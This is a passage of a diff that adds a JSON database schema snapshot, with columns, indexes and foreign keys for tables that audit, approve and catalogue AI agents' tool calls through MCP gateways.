+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_access_audit_connection_idx": {
+          "name": "tool_access_audit_connection_idx",
+          "columns": [
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_access_audit_gateway_idx": {
+          "name": "tool_access_audit_gateway_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "gateway_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_access_audit_events_company_id_companies_id_fk": {
+          "name": "tool_access_audit_events_company_id_companies_id_fk",
+          "tableFrom": "tool_access_audit_events",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_access_audit_events_gateway_id_tool_mcp_gateways_id_fk": {
+          "name": "tool_access_audit_events_gateway_id_tool_mcp_gateways_id_fk",
+          "tableFrom": "tool_access_audit_events",
+          "tableTo": "tool_mcp_gateways",
+          "columnsFrom": [
+            "gateway_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_access_audit_events_gateway_token_id_tool_mcp_gateway_tokens_id_fk": {
+          "name": "tool_access_audit_events_gateway_token_id_tool_mcp_gateway_tokens_id_fk",
+          "tableFrom": "tool_access_audit_events",
+          "tableTo": "tool_mcp_gateway_tokens",
+          "columnsFrom": [
+            "gateway_token_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_access_audit_events_connection_id_tool_connections_id_fk": {
+          "name": "tool_access_audit_events_connection_id_tool_connections_id_fk",
+          "tableFrom": "tool_access_audit_events",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "connection_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_access_audit_events_catalog_entry_id_tool_catalog_entries_id_fk": {
+          "name": "tool_access_audit_events_catalog_entry_id_tool_catalog_entries_id_fk",
+          "tableFrom": "tool_access_audit_events",
+          "tableTo": "tool_catalog_entries",
+          "columnsFrom": [
+            "catalog_entry_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_action_requests": {
+      "name": "tool_action_requests",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "invocation_id": {
+          "name": "invocation_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "interaction_id": {
+          "name": "interaction_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "approval_id": {
+          "name": "approval_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "canonical_arguments_hash": {
+          "name": "canonical_arguments_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "canonical_arguments_summary": {
+          "name": "canonical_arguments_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "signed_arguments": {
+          "name": "signed_arguments",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "preview_markdown": {
+          "name": "preview_markdown",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "requested_by_agent_id": {
+          "name": "requested_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "requested_by_user_id": {
+          "name": "requested_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_by_agent_id": {
+          "name": "resolved_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_by_user_id": {
+          "name": "resolved_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decided_by_agent_id": {
+          "name": "decided_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decided_by_user_id": {
+          "name": "decided_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decided_at": {
+          "name": "decided_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_at": {
+          "name": "resolved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_action_requests_company_status_idx": {
+          "name": "tool_action_requests_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_action_requests_invocation_idx": {
+          "name": "tool_action_requests_invocation_idx",
+          "columns": [
+            {
+              "expression": "invocation_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_action_requests_issue_idx": {
+          "name": "tool_action_requests_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_action_requests_company_id_companies_id_fk": {
+          "name": "tool_action_requests_company_id_companies_id_fk",
+          "tableFrom": "tool_action_requests",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_action_requests_invocation_id_tool_invocations_id_fk": {
+          "name": "tool_action_requests_invocation_id_tool_invocations_id_fk",
+          "tableFrom": "tool_action_requests",
+          "tableTo": "tool_invocations",
+          "columnsFrom": [
+            "invocation_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_action_requests_issue_id_issues_id_fk": {
+          "name": "tool_action_requests_issue_id_issues_id_fk",
+          "tableFrom": "tool_action_requests",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_action_requests_interaction_id_issue_thread_interactions_id_fk": {
+          "name": "tool_action_requests_interaction_id_issue_thread_interactions_id_fk",
+          "tableFrom": "tool_action_requests",
+          "tableTo": "issue_thread_interactions",
+          "columnsFrom": [
+            "interaction_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_action_requests_approval_id_approvals_id_fk": {
+          "name": "tool_action_requests_approval_id_approvals_id_fk",
+          "tableFrom": "tool_action_requests",
+          "tableTo": "approvals",
+          "columnsFrom": [
+            "approval_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_action_requests_requested_by_agent_id_agents_id_fk": {
+          "name": "tool_action_requests_requested_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_action_requests",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "requested_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_action_requests_resolved_by_agent_id_agents_id_fk": {
+          "name": "tool_action_requests_resolved_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_action_requests",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "resolved_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_action_requests_decided_by_agent_id_agents_id_fk": {
+          "name": "tool_action_requests_decided_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_action_requests",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "decided_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_applications": {
+      "name": "tool_applications",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "application_key": {
+          "name": "application_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "type": {
+          "name": "type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "owner_agent_id": {
+          "name": "owner_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "owner_user_id": {
+          "name": "owner_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "archived_at": {
+          "name": "archived_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_applications_company_idx": {
+          "name": "tool_applications_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_applications_company_status_idx": {
+          "name": "tool_applications_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_applications_company_name_uq": {
+          "name": "tool_applications_company_name_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_applications_company_key_uq": {
+          "name": "tool_applications_company_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "application_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_applications_company_id_companies_id_fk": {
+          "name": "tool_applications_company_id_companies_id_fk",
+          "tableFrom": "tool_applications",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_applications_plugin_id_plugins_id_fk": {
+          "name": "tool_applications_plugin_id_plugins_id_fk",
+          "tableFrom": "tool_applications",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_applications_owner_agent_id_agents_id_fk": {
+          "name": "tool_applications_owner_agent_id_agents_id_fk",
+          "tableFrom": "tool_applications",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "owner_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_call_events": {
+      "name": "tool_call_events",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "event_type": {
+          "name": "event_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_type": {
+          "name": "actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'system'"
+        },
+        "actor_id": {
+          "name": "actor_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_id": {
+          "name": "gateway_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_token_id": {
+          "name": "gateway_token_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_public_id": {
+          "name": "gateway_public_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_subject_type": {
+          "name": "client_subject_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_subject_id": {
+          "name": "client_subject_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_name": {
+          "name": "client_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "mcp_session_id": {
+          "name": "mcp_session_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "correlation_id": {
+          "name": "correlation_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "application_id": {
+          "name": "application_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "catalog_entry_id": {
+          "name": "catalog_entry_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "invocation_id": {
+          "name": "invocation_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "action_request_id": {
+          "name": "action_request_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "runtime_slot_id": {
+          "name": "runtime_slot_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "tool_name": {
+          "name": "tool_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decision": {
+          "name": "decision",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "matched_policy_ids": {
+          "name": "matched_policy_ids",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "reason_code": {
+          "name": "reason_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "policy_explanation": {
+          "name": "policy_explanation",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "credential_scope_summary": {
+          "name": "credential_scope_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "header_policy_summary": {
+          "name": "header_policy_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "outcome": {
+          "name": "outcome",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "latency_ms": {
+          "name": "latency_ms",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "arguments_summary": {
+          "name": "arguments_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "request_hash": {
+          "name": "request_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "request_summary": {
+          "name": "request_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "result_hash": {
+          "name": "result_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "result_summary": {
+          "name": "result_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "result_size_bytes": {
+          "name": "result_size_bytes",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "redaction_plan": {
+          "name": "redaction_plan",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "rate_limit_state": {
+          "name": "rate_limit_state",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error_code": {
+          "name": "error_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error_message": {
+          "name": "error_message",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_call_events_company_created_idx": {
+          "name": "tool_call_events_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_call_events_run_idx": {
+          "name": "tool_call_events_run_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_call_events_issue_idx": {
+          "name": "tool_call_events_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_call_events_invocation_idx": {
+          "name": "tool_call_events_invocation_idx",
+          "columns": [
+            {
+              "expression": "invocation_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_call_events_gateway_idx": {
+          "name": "tool_call_events_gateway_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "gateway_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_call_events_company_id_companies_id_fk": {
+          "name": "tool_call_events_company_id_companies_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_agent_id_agents_id_fk": {
+          "name": "tool_call_events_agent_id_agents_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_run_id_heartbeat_runs_id_fk": {
+          "name": "tool_call_events_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_issue_id_issues_id_fk": {
+          "name": "tool_call_events_issue_id_issues_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_gateway_id_tool_mcp_gateways_id_fk": {
+          "name": "tool_call_events_gateway_id_tool_mcp_gateways_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "tool_mcp_gateways",
+          "columnsFrom": [
+            "gateway_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_gateway_token_id_tool_mcp_gateway_tokens_id_fk": {
+          "name": "tool_call_events_gateway_token_id_tool_mcp_gateway_tokens_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "tool_mcp_gateway_tokens",
+          "columnsFrom": [
+            "gateway_token_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_application_id_tool_applications_id_fk": {
+          "name": "tool_call_events_application_id_tool_applications_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "tool_applications",
+          "columnsFrom": [
+            "application_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_connection_id_tool_connections_id_fk": {
+          "name": "tool_call_events_connection_id_tool_connections_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "connection_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_catalog_entry_id_tool_catalog_entries_id_fk": {
+          "name": "tool_call_events_catalog_entry_id_tool_catalog_entries_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "tool_catalog_entries",
+          "columnsFrom": [
+            "catalog_entry_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_invocation_id_tool_invocations_id_fk": {
+          "name": "tool_call_events_invocation_id_tool_invocations_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "tool_invocations",
+          "columnsFrom": [
+            "invocation_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_action_request_id_tool_action_requests_id_fk": {
+          "name": "tool_call_events_action_request_id_tool_action_requests_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "tool_action_requests",
+          "columnsFrom": [
+            "action_request_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_runtime_slot_id_tool_runtime_slots_id_fk": {
+          "name": "tool_call_events_runtime_slot_id_tool_runtime_slots_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "tool_runtime_slots",
+          "columnsFrom": [
+            "runtime_slot_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_catalog_entries": {
+      "name": "tool_catalog_entries",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "application_id": {
+          "name": "application_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "entry_kind": {
+          "name": "entry_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'tool'"
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "tool_name": {
+          "name": "tool_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "input_schema": {
+          "name": "input_schema",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "output_schema": {
+          "name": "output_schema",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "annotations": {
+          "name": "annotations",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "risk_level": {
+          "name": "risk_level",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'read'"
+        },
+        "is_read_only": {
+          "name": "is_read_only",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": true
+        },
+        "is_write": {
+          "name": "is_write",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "is_destructive": {
+          "name": "is_destructive",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "version": {
+          "name": "version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "version_hash": {
+          "name": "version_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "schema_hash": {
+          "name": "schema_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "first_seen_at": {
+          "name": "first_seen_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "last_seen_at": {
+          "name": "last_seen_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "reviewed_at": {
+          "name": "reviewed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "reviewed_by_agent_id": {
+          "name": "reviewed_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "reviewed_by_user_id": {
+          "name": "reviewed_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "quarantined_at": {
+          "name": "quarantined_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "quarantine_reason": {
+          "name": "quarantine_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
